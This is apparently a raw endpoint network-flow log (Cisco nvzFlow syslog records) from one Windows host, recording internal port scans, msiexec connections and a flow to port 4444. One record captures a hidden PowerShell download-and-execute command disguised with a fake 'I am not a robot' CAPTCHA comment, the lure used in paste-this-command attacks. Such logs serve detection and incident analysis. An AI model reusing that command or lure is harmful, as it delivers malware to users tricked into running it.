Jun 26 16:09:07 127.0.0.1 Jun 26 16:09:07 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="5202" da="140.82.112.3" dp="443" fd="1" fss="1750954128" fst="Thu Jun 26 16:08:48 2025" fes="1750954129" fet="Thu Jun 26 16:08:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="<none>" liuat="0" pa="NT AUTHORITY\SYSTEM" paa="NT AUTHORITY" pap="SYSTEM" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="NT AUTHORITY\SYSTEM" ppuat="8194" ppn="services.exe" pph="58A3CEDA651E313390B8C3194E7AB35C7BA33126DDE9DEB4ACAE51A315BF5AA5" ibc="17663" obc="622" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750954128143" fems="1750954129198" pid="9652" ppath="C:\Windows\system32\msiexec.exe" parg="/V" ppid="688" pppath="C:\Windows\System32\services.exe" pparg="Unknown" aliul="rdp:0002:EC2AMAZ-E56LIG5\Administrator" pil="16384" ppil="16384" fsg="0" puid="12C30852BA78847786CC2215D78417C1" liuidp="unknown"
Jun 26 16:09:04 127.0.0.1 Jun 26 16:09:04 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="5202" da="140.82.112.3" dp="443" fd="1" fss="1750954128" fst="Thu Jun 26 16:08:48 2025" fes="1750954128" fet="Thu Jun 26 16:08:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="<none>" liuat="0" pa="NT AUTHORITY\SYSTEM" paa="NT AUTHORITY" pap="SYSTEM" puat="8194" pn="msiexec.exe" ph="23EC37A4DF21893A1B3B6F5F72B2D78918E86C3A90F9664F8248A2C8219F889A" ppa="NT AUTHORITY\SYSTEM" ppuat="8194" ppn="services.exe" pph="58A3CEDA651E313390B8C3194E7AB35C7BA33126DDE9DEB4ACAE51A315BF5AA5" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="github.com" iid="4" mnl="''" mhl="''" fsms="1750954128143" fems="1750954128143" pid="9652" ppath="C:\Windows\system32\msiexec.exe" parg="/V" ppid="688" pppath="C:\Windows\System32\services.exe" pparg="Unknown" aliul="rdp:0002:EC2AMAZ-E56LIG5\Administrator" pil="16384" ppil="16384" fsg="1" puid="12C30852BA78847786CC2215D78417C1" liuidp="unknown"
Jun 30 13:09:27 127.0.0.1 Jun 30 13:09:27 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="27768" da="172.16.3.110" dp="80" fd="1" fss="1751288928" fst="Mon Jun 30 13:08:48 2025" fes="1751288928" fet="Mon Jun 30 13:08:48 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="PowerShell.exe" ph="38F4384643B3FA0DE714D2367B712C2E0FA1C89E2CFD131AE6B831AD962B1033" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="''" mhl="''" fsms="1751288928904" fems="1751288928904" pid="6344" ppath="C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" parg="-NoP -WindowStyle Hidden -Command \"iex (irm 'http://172.16.3.110/file.exe')\" # ✅ ''I am not a robot | Captcha Verification Hash: 7680''" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="59FA29C83CA28118BB558D1BB8B38DD4"
Jun 30 17:21:22 127.0.0.1 Jun 30 17:21:22 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29870" da6="::ffff:172.16.3.10" dp="9389" fd="1" fss="1751304050" fst="Mon Jun 30 17:20:50 2025" fes="1751304050" fet="Mon Jun 30 17:20:50 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304050802" fems="1751304050802" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 30 17:21:07 127.0.0.1 Jun 30 17:21:07 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29869" da6="::ffff:172.16.3.1" dp="9389" fd="1" fss="1751304050" fst="Mon Jun 30 17:20:50 2025" fes="1751304050" fet="Mon Jun 30 17:20:50 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304050754" fems="1751304050754" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 30 17:20:55 127.0.0.1 Jun 30 17:20:55 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29868" da6="::ffff:172.16.3.158" dp="9389" fd="1" fss="1751304046" fst="Mon Jun 30 17:20:46 2025" fes="1751304046" fet="Mon Jun 30 17:20:46 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304046281" fems="1751304046281" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 30 17:20:36 127.0.0.1 Jun 30 17:20:36 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29607" da6="::ffff:172.16.3.110" dp="9389" fd="1" fss="1751304035" fst="Mon Jun 30 17:20:35 2025" fes="1751304035" fet="Mon Jun 30 17:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304035686" fems="1751304035686" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 30 17:20:36 127.0.0.1 Jun 30 17:20:36 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29606" da6="::ffff:172.16.3.110" dp="9389" fd="1" fss="1751304035" fst="Mon Jun 30 17:20:35 2025" fes="1751304035" fet="Mon Jun 30 17:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304035670" fems="1751304035670" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 30 17:20:36 127.0.0.1 Jun 30 17:20:36 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="29604" da6="::ffff:172.16.3.110" dp="9389" fd="1" fss="1751304035" fst="Mon Jun 30 17:20:35 2025" fes="1751304035" fet="Mon Jun 30 17:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1751304035010" fems="1751304035010" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jul  1 15:48:02 127.0.0.1 Jul  1 15:48:02 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="35304" da="87.205.14.4" dp="4444" fd="1" fss="1751384831" fst="Tue Jul  1 15:47:11 2025" fes="1751384831" fet="Tue Jul  1 15:47:11 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Firefox Screenshots - 39.0.1 WebCompat Reporter - 2.1.0 Web Compatibility Interventions - 137.7.0 Add-ons Search Detection - 2.0.0" mhl="''" fsms="1751384831303" fems="1751384831303" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" pppath="C:\Program Files\Mozilla Firefox\firefox.exe" pparg=" -osint -url \"https://securityscorecard.com/company/contact-us/\"" aliul="''" pil="8192" ppil="8192" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  1 15:47:47 127.0.0.1 Jul  1 15:47:47 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="35303" da="172.16.3.110" dp="4444" fd="1" fss="1751384831" fst="Tue Jul  1 15:47:11 2025" fes="1751384831" fet="Tue Jul  1 15:47:11 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="Unknown" iid="4" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Firefox Screenshots - 39.0.1 WebCompat Reporter - 2.1.0 Web Compatibility Interventions - 137.7.0 Add-ons Search Detection - 2.0.0" mhl="''" fsms="1751384831110" fems="1751384831110" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" pppath="C:\Program Files\Mozilla Firefox\firefox.exe" pparg=" -osint -url \"https://securityscorecard.com/company/contact-us/\"" aliul="''" pil="8192" ppil="8192" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jun 25 10:20:53 127.0.0.1 Jun 25 10:20:53 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="62627" da6="::ffff:172.16.3.1" dp="999" fd="1" fss="1750846853" fst="Wed Jun 25 10:20:53 2025" fes="1750846853" fet="Wed Jun 25 10:20:53 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846853021" fems="1750846853021" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:53 127.0.0.1 Jun 25 10:20:53 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="62588" da6="::ffff:172.16.3.10" dp="999" fd="1" fss="1750846852" fst="Wed Jun 25 10:20:52 2025" fes="1750846852" fet="Wed Jun 25 10:20:52 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846852913" fems="1750846852913" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:52 127.0.0.1 Jun 25 10:20:52 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="62407" da6="::ffff:172.16.3.1" dp="888" fd="1" fss="1750846852" fst="Wed Jun 25 10:20:52 2025" fes="1750846852" fet="Wed Jun 25 10:20:52 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846852389" fems="1750846852389" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:52 127.0.0.1 Jun 25 10:20:52 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="62366" da6="::ffff:172.16.3.10" dp="888" fd="1" fss="1750846852" fst="Wed Jun 25 10:20:52 2025" fes="1750846852" fet="Wed Jun 25 10:20:52 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846852373" fems="1750846852373" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:44 127.0.0.1 Jun 25 10:20:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="60575" da6="::ffff:172.16.3.158" dp="999" fd="1" fss="1750846844" fst="Wed Jun 25 10:20:44 2025" fes="1750846844" fet="Wed Jun 25 10:20:44 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846844161" fems="1750846844161" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:43 127.0.0.1 Jun 25 10:20:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="60464" da6="::ffff:172.16.3.158" dp="888" fd="1" fss="1750846843" fst="Wed Jun 25 10:20:43 2025" fes="1750846843" fet="Wed Jun 25 10:20:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846843524" fems="1750846843524" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:36 127.0.0.1 Jun 25 10:20:36 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="59472" da6="::ffff:172.16.3.110" dp="999" fd="1" fss="1750846836" fst="Wed Jun 25 10:20:36 2025" fes="1750846836" fet="Wed Jun 25 10:20:36 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846836339" fems="1750846836339" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 25 10:20:35 127.0.0.1 Jun 25 10:20:35 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="59361" da6="::ffff:172.16.3.110" dp="888" fd="1" fss="1750846835" fst="Wed Jun 25 10:20:35 2025" fes="1750846835" fet="Wed Jun 25 10:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="msiexec.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Explorer.EXE" pph="26E89CB7AFCB09C11B5563C3650196A0F935A95ED44BF1A52C261049DB2C4FEC" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750846835704" fems="1750846835704" pid="3144" ppath="C:\Program Files (x86)\Advanced Port Scanner\msiexec.exe" ppid="5188" pppath="C:\Windows\Explorer.EXE" aliul="''" pil="12288" ppil="12288" fsg="1" puid="F02E8A08B47783E6A9A9B51292BED4BB"
Jun 23 15:52:29 127.0.0.1 Jun 23 15:52:29 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="46397" da6="::ffff:172.16.3.158" dp="999" fd="1" fss="1750693949" fst="Mon Jun 23 15:52:29 2025" fes="1750693949" fet="Mon Jun 23 15:52:29 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693949004" fems="1750693949004" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:28 127.0.0.1 Jun 23 15:52:28 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="46286" da6="::ffff:172.16.3.158" dp="888" fd="1" fss="1750693948" fst="Mon Jun 23 15:52:28 2025" fes="1750693948" fet="Mon Jun 23 15:52:28 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" ds="Unknown" dh="Unknown" iid="0" mnl="''" mhl="''" fsms="1750693948450" fems="1750693948450" pid="8384" ppath="C:\Program Files (x86)\Advanced Port Scanner\advanced_port_scanner.exe" ppid="8248" pppath="C:\Users\ADMINI~1\AppData\Local\Temp\2\is-1931Q.tmp\Advanced_Port_Scanner_2.5.3869.tmp" pparg="/SL5=\"$5C06DE,19769177,139776,C:\Users\Administrator\Downloads\Advanced_Port_Scanner_2.5.3869.exe\" " aliul="''" pil="8192" ppil="8192" fsg="1" puid="794AA1A395EF8B65AB54388C46C6E9E0"
Jun 23 15:52:17 127.0.0.1 Jun 23 15:52:17 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa6="::" sp="45308" da6="::ffff:172.16.3.110" dp="999" fd="1" fss="1750693937" fst="Mon Jun 23 15:52:17 2025" fes="1750693937" fet="Mon Jun 23 15:52:17 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="advanced_port_scanner.exe" ph="8B9C7D2554FE315199FAE656448DC193ACCBEC162D4AFFF3F204CE2346507A8A" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="Advanced_Port_Scanner_2.5.3869.tmp" pph="37E12903CC165ABC6E0629195E0EB5A6318C92614952E055CF3444AD35ED4F0F" ibc="0" obc="0" 